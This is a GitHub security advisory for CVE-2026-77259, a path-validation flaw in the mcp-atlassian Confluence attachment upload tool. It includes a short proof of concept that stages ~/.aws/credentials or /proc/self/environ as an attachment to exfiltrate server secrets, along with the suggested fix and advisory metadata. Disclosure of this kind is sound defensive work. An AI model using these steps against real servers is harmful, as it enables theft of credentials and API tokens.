GHSA-6CR4-CCF3-X7H4
Vulnerability from github – Published: 2026-09-22 20:35 – Updated: 2026-09-22 20:35Summary
Missing path validation in confluence_upload_attachment allows any authenticated MCP client to read arbitrary files from the server filesystem and exfiltrate their contents to Confluence. On Linux deployments, /proc/self/environ yields all runtime secrets in a single call.
Details
AttachmentsMixin.upload_attachment() in src/mcp_atlassian/confluence/attachments.py opens the caller-supplied file_path with no boundary check:
# line 477
files = {"file": (filename, open(file_path, "rb"))}
The download path was correctly hardened in GHSA-xjgw-4wvw-rgm4 via validate_safe_path() (lines 223, 272). That fix was not applied to the upload path, leaving it completely unguarded. The MCP tool layer (servers/confluence.py:1295) passes file_path verbatim with no additional sanitization.
PoC
# 1. Prepare target file (macOS demo; on Linux use /proc/self/environ directly)
cp ~/.aws/credentials /tmp/diagram.png
# 2. Call the MCP tool
confluence_upload_attachment(
content_id = "<any page attacker can edit>",
file_path = "/tmp/diagram.png"
)
# 3. Download attachment from Confluence — contains raw credentials
Tested on mcp-atlassian 0.21.1 against live Confluence Cloud. Attachment confirmed uploaded and retrieved with full credential content intact.
Impact
Any MCP client with edit access to one Confluence page can read arbitrary files from the server process. On shared/Docker deployments, /proc/self/environ exposes all users' API tokens in a single request. Exfiltrated Atlassian tokens provide persistent API access independent of MCP, surviving server shutdown or patching.
Incomplete fix of GHSA-xjgw-4wvw-rgm4 — arbitrary file read on upload mirrors the arbitrary file write on download fixed in that advisory.
Suggested Fix
# src/mcp_atlassian/confluence/attachments.py — upload_attachment()
# Add after abspath conversion, before open():
try:
validate_safe_path(file_path)
except ValueError as e:
return {"success": False, "error": str(e)}
Same fix required in upload_attachments() and src/mcp_atlassian/jira/attachments.py.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mcp-atlassian"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77259"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-552"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T20:35:16Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nMissing path validation in `confluence_upload_attachment` allows any authenticated MCP client to read arbitrary files from the server filesystem and exfiltrate their contents to Confluence. On Linux deployments, `/proc/self/environ` yields all runtime secrets in a single call.\n\n---\n### Details\n\n`AttachmentsMixin.upload_attachment()` in `src/mcp_atlassian/confluence/attachments.py` opens the caller-supplied `file_path` with no boundary check:\n\n```python\n# line 477\nfiles = {\"file\": (filename, open(file_path, \"rb\"))}\n```\nThe download path was correctly hardened in GHSA-xjgw-4wvw-rgm4 via `validate_safe_path()` (lines 223, 272). That fix was not applied to the upload path, leaving it completely unguarded. The MCP tool layer (`servers/confluence.py:1295`) passes `file_path` verbatim with no additional sanitization.\n\n---\n### PoC\n\n```bash\n# 1. Prepare target file (macOS demo; on Linux use /proc/self/environ directly)\ncp ~/.aws/credentials /tmp/diagram.png\n\n# 2. Call the MCP tool\nconfluence_upload_attachment(\n content_id = \"\u003cany page attacker can edit\u003e\",\n file_path = \"/tmp/diagram.png\"\n)\n\n# 3. Download attachment from Confluence \u2014 contains raw credentials\n```\nTested on mcp-atlassian 0.21.1 against live Confluence Cloud. Attachment confirmed uploaded and retrieved with full credential content intact.\n\n---\n### Impact\nAny MCP client with edit access to one Confluence page can read arbitrary files from the server process. On shared/Docker deployments, `/proc/self/environ` exposes all users\u0027 API tokens in a single request. Exfiltrated Atlassian tokens provide persistent API access independent of MCP, surviving server shutdown or patching.\n\nIncomplete fix of GHSA-xjgw-4wvw-rgm4 \u2014 arbitrary file read on upload mirrors the arbitrary file write on download fixed in that advisory.\n\n\n---\n### Suggested Fix\n\n```python\n# src/mcp_atlassian/confluence/attachments.py \u2014 upload_attachment()\n# Add after abspath conversion, before open():\n\ntry:\n validate_safe_path(file_path)\nexcept ValueError as e:\n return {\"success\": False, \"error\": str(e)}\n```\n\nSame fix required in `upload_attachments()` and `src/mcp_atlassian/jira/attachments.py`.",
"id": "GHSA-6cr4-ccf3-x7h4",
"modified": "2026-09-22T20:35:16Z",
"published": "2026-09-22T20:35:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-6cr4-ccf3-x7h4"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
},
{
"type": "PACKAGE",
"url": "https://github.com/sooperset/mcp-atlassian"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "MCP Atlassian: Arbitrary file read via confluence_upload_attachment allows exfiltration of server credentials"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.